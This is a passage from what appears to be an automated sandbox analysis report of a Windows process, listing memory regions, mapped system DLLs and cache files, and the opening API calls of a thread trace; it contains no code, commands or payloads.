"pagefile_0x0000000000ae0000" filename = "" Region: id = 1622 start_va = 0x7ffa6b700000 end_va = 0x7ffa6b724fff monitored = 0 entry_point = 0x7ffa6b709900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1623 start_va = 0x7ffa6f330000 end_va = 0x7ffa6f3aefff monitored = 0 entry_point = 0x7ffa6f347110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1624 start_va = 0x7ffa7b540000 end_va = 0x7ffa7b5aafff monitored = 0 entry_point = 0x7ffa7b5590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1625 start_va = 0x7ffa6d6d0000 end_va = 0x7ffa6d6e0fff monitored = 0 entry_point = 0x7ffa6d6d2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2181 start_va = 0x7ffa6b730000 end_va = 0x7ffa6b743fff monitored = 0 entry_point = 0x7ffa6b731800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2182 start_va = 0x7ffa6b750000 end_va = 0x7ffa6b845fff monitored = 0 entry_point = 0x7ffa6b789590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2275 start_va = 0xaa0000 end_va = 0xaa1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 2289 start_va = 0x1b110000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 2380 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 2394 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 2395 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 2396 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 2416 start_va = 0x1b510000 end_va = 0x1b70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b510000" filename = "" Region: id = 2436 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 2538 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 2597 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 2854 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 2905 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3019 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3071 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3188 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3202 start_va = 0x1b310000 end_va = 0x1b3effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3292 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3410 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3461 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3532 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3586 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3587 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3706 start_va = 0xab0000 end_va = 0xab5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3728 start_va = 0x2290000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 3729 start_va = 0x1b710000 end_va = 0x1b80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b710000" filename = "" Region: id = 3730 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3731 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3732 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3831 start_va = 0x7ffa58cf0000 end_va = 0x7ffa59029fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\system.runtime.serialization.ni.dll") Region: id = 3832 start_va = 0x7ff9ff4d0000 end_va = 0x7ff9ff4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4d0000" filename = "" Region: id = 3841 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 3842 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 3843 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 3844 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 3845 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 3846 start_va = 0x2310000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 3847 start_va = 0x2320000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 3848 start_va = 0x2330000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 3851 start_va = 0x2340000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3852 start_va = 0x2350000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 3853 start_va = 0x2360000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 3854 start_va = 0x2370000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 3855 start_va = 0x2380000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3856 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 3857 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 3858 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 3859 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 3860 start_va = 0x1aeb0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 3861 start_va = 0x1aed0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 3862 start_va = 0x1b110000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 3863 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 3864 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 3865 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 3866 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 3867 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 3868 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 3869 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 3870 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 3871 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 3873 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3874 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3875 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 3876 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 3877 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 3878 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 3879 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 3880 start_va = 0x7ff9ff4e0000 end_va = 0x7ff9ff4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4e0000" filename = "" Region: id = 3881 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3882 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3883 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3884 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3885 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3886 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3887 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 3888 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 3889 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 3890 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 3891 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 3892 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 3893 start_va = 0x2310000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 3894 start_va = 0x2320000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 3895 start_va = 0x2330000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 3896 start_va = 0x2340000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3897 start_va = 0x2350000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 3898 start_va = 0x2360000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 3899 start_va = 0x2370000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 3900 start_va = 0x2380000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 3901 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 3902 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 3903 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 3904 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 3905 start_va = 0x1aeb0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 3906 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 3907 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 3908 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 3909 start_va = 0x1b110000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 3910 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 3911 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 3912 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 3913 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3914 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3915 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3916 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 3917 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 3918 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 3919 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 3920 start_va = 0x2300000 end_va = 0x230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 3921 start_va = 0x2310000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 3922 start_va = 0x2320000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 3923 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3924 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3925 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 3926 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3927 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3928 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 3929 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 3930 start_va = 0x22d0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 3931 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3932 start_va = 0x1b110000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 3933 start_va = 0x7ffa769f0000 end_va = 0x7ffa76b75fff monitored = 0 entry_point = 0x7ffa76a3d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3934 start_va = 0x7ffa624e0000 end_va = 0x7ffa6255efff monitored = 0 entry_point = 0x7ffa624e17d0 region_type = mapped_file name = "dlnashext.dll" filename = "\\Windows\\System32\\dlnashext.dll" (normalized: "c:\\windows\\system32\\dlnashext.dll") Region: id = 3935 start_va = 0x7ffa62460000 end_va = 0x7ffa624d3fff monitored = 0 entry_point = 0x7ffa624a96e0 region_type = mapped_file name = "playtodevice.dll" filename = "\\Windows\\System32\\PlayToDevice.dll" (normalized: "c:\\windows\\system32\\playtodevice.dll") Region: id = 3936 start_va = 0x1ba10000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 3937 start_va = 0x1bb10000 end_va = 0x1bc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 3938 start_va = 0x1bc10000 end_va = 0x1bd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bc10000" filename = "" Region: id = 3939 start_va = 0x7ffa74a20000 end_va = 0x7ffa74a3efff monitored = 0 entry_point = 0x7ffa74a354a0 region_type = mapped_file name = "devdispitemprovider.dll" filename = "\\Windows\\System32\\DevDispItemProvider.dll" (normalized: "c:\\windows\\system32\\devdispitemprovider.dll") Region: id = 3940 start_va = 0x7ffa71e20000 end_va = 0x7ffa71e8ffff monitored = 0 entry_point = 0x7ffa71e42960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3941 start_va = 0x7ffa76ec0000 end_va = 0x7ffa76ee6fff monitored = 0 entry_point = 0x7ffa76ec7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3942 start_va = 0x7ffa5d1d0000 end_va = 0x7ffa5d3d2fff monitored = 0 entry_point = 0x7ffa5d1d1660 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 3943 start_va = 0xab0000 end_va = 0xab1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3944 start_va = 0x7ffa74030000 end_va = 0x7ffa741d8fff monitored = 0 entry_point = 0x7ffa74084060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 3945 start_va = 0x7ffa76450000 end_va = 0x7ffa768e2fff monitored = 0 entry_point = 0x7ffa7645f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 3946 start_va = 0xac0000 end_va = 0xac3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 3947 start_va = 0x22d0000 end_va = 0x22e4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 3948 start_va = 0xad0000 end_va = 0xad0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 3949 start_va = 0xac0000 end_va = 0xac3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3950 start_va = 0x2300000 end_va = 0x2344fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 3951 start_va = 0xaf0000 end_va = 0xaf3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3952 start_va = 0x1bd10000 end_va = 0x1bd9dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 3953 start_va = 0x2350000 end_va = 0x2360fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 3954 start_va = 0x1bda0000 end_va = 0x1be9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bda0000" filename = "" Region: id = 3955 start_va = 0x7ffa6eb60000 end_va = 0x7ffa6ed17fff monitored = 0 entry_point = 0x7ffa6ebce630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3973 start_va = 0x7ffa72950000 end_va = 0x7ffa72cd1fff monitored = 0 entry_point = 0x7ffa729a1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3974 start_va = 0x2290000 end_va = 0x2290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002290000" filename = "" Region: id = 3987 start_va = 0x22a0000 end_va = 0x22c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3988 start_va = 0x2370000 end_va = 0x23c9fff monitored = 1 entry_point = 0x23853f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3989 start_va = 0x22a0000 end_va = 0x22c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3990 start_va = 0x2370000 end_va = 0x23c9fff monitored = 1 entry_point = 0x23853f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3991 start_va = 0x22a0000 end_va = 0x22c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3992 start_va = 0x2370000 end_va = 0x23c9fff monitored = 1 entry_point = 0x23853f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3993 start_va = 0x22a0000 end_va = 0x22c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3994 start_va = 0x2370000 end_va = 0x23c9fff monitored = 1 entry_point = 0x23853f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Thread: id = 1 os_tid = 0x1094 [0066.508] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0066.960] RoInitialize () returned 0x1 [0066.960] RoUninitialize () returned 0x0 [0069.075] WindowsCreateStringReference () returned 0x0 [0069.076] RoGetActivationFactory () returned 0x0 [0069.107] QueryInterface () returned 0x0 [0069.107] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0069.107] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0069.107] 